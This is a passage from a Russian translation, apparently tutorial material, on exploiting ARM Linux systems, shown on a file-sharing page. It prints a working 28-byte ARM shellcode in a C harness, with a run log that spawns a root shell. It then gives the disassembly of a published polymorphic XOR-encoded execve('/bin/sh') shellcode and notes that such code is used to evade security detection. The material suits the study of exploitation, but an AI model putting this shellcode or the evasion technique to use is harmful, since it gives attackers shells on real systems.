Переведено для codeby. Net
Алгоритм 10 Только ARM шеллкод (armonly.c)
Download 0.92 Mb. Pdf ko'rish
|
эксплуатация систем arm linux AFANX
- Bu sahifa navigatsiya:
- 5.3.2 Полиморфные шеллкоды
- Алгоритм 11 Linux/ARM - Polymorphic execve()
Алгоритм 10 Только ARM шеллкод (armonly.c)
#include char code[] = ”\x01\x10\x21\xe0” ”\x02\x20\x22\xe0” ”\x04\x30\x9f\xe5” ”\x13\x01\xa0\xe1” ”\x01\xf0\x9f\xe5” ”\x30\x41\x13\x40” ”\x70\x61\x0b\x40”; int main(void){ fprintf(stdout, ”Length : %d\n”, strlen(code)); (∗(void(∗)())code)(); return 0 ; } Давайте попробуем наше маленькое творение: root@armstation# gcc armonly.c -o armonly root@armstation# ./armonly 55 Length: 28 sh-3.2# exit exit Мы сделали это: шеллкод, использующий только набор инструкций ARM, длиной 28 байт (всего на один байт длиннее, чем алгоритм 8). 5.3.2 Полиморфные шеллкоды Это последний технический аргумент данного документа: мы проанализируем конкретный тип шеллкода, полиморфный. Мотивов для создания шеллкода, который может модифицировать себя, в основном два: 1. Обходить системы безопасности, распознающие известные инструкции шеллкода. 2. Кодировать инструкции, которые генерируют нулевой байт, чтобы иметь возможность использовать их. 3. В случае архитектуры ARM он также используется для того, чтобы избежать инструкциq Thumb. Мы объясним структуру полиморфных шеллкодов на реальном примере. Это полиморфный шеллкод, опубликованный на exploit-db: Алгоритм 11 Linux/ARM - Polymorphic execve() Author : Jonathan Salwan Web : http://shell−storm.org == Disassembly of XOR decoder == 00008054 8054 : e28f6024 add r6, pc, #36 ; 0x24 8058: e12fff16 bx r6 0000805c 805c: e3a040e3 mov r4, #227 ; 0xe3 00008060 8060 : e3540c01 cmp r4, #256 ; 0x100 8064 : 812fff1e bxhi lr 8068: e24440e3 sub r4, r4 , #227 ; 0xe3 806c: e7de5004 ldrb r5, [lr, r4] 8070: e2255058 eor r5, r5 , #88 ; 0 x58 8074: e7ce5004 strb r5, [lr, r4] 8078: e28440e4 add r4 , r4 , #228; 0xe4 807c: eafffff7 b 8060 8080: ebfffff5 bl 805c == Disassembly of execve(”/bin/sh”, [”/bin/sh”], NULL) == 56 00008054 8054: e28f6001 add r6, pc, #1 ; 0x1 8058: e12fff16 bx r6 805c: 4678 mov r0 pc 805e: 300a adds r0, #10 8060: 9001 str r0, [sp, #4] ... 806a: 2f2f cmp r7, #47 806c: 6962 ldr r2, [r4, #20] 806e: 2f6e cmp r7, #110 8070: 6873 ldr r3, [r6, #4] Мы сообщили только о разборке шеллкодов, потому что именно эта часть нас интересует(Полный шеллкод - http://www.exploit-db.com/exploits/14190/). Мы не будем обращать внимание на "Disassembly of execve("/bin/sh", ["/bin/sh"], NULL)", поскольку это уже известный нам шеллкод. Критической являются секции debut-0x8, debut и boucle. Алгоритм начинается как классический шеллкод а-ля Aleph One: выполнение перескакивает на инструкцию bl 805c (по адресу 0x8080), которая возвращает счетчик программ обратно. Это трюк, используемый для загрузки в регистр ссылки адреса шеллкода Download 0.92 Mb. Do'stlaringiz bilan baham: |
Ma'lumotlar bazasi mualliflik huquqi bilan himoyalangan ©fayllar.org 2024
ma'muriyatiga murojaat qiling
ma'muriyatiga murojaat qiling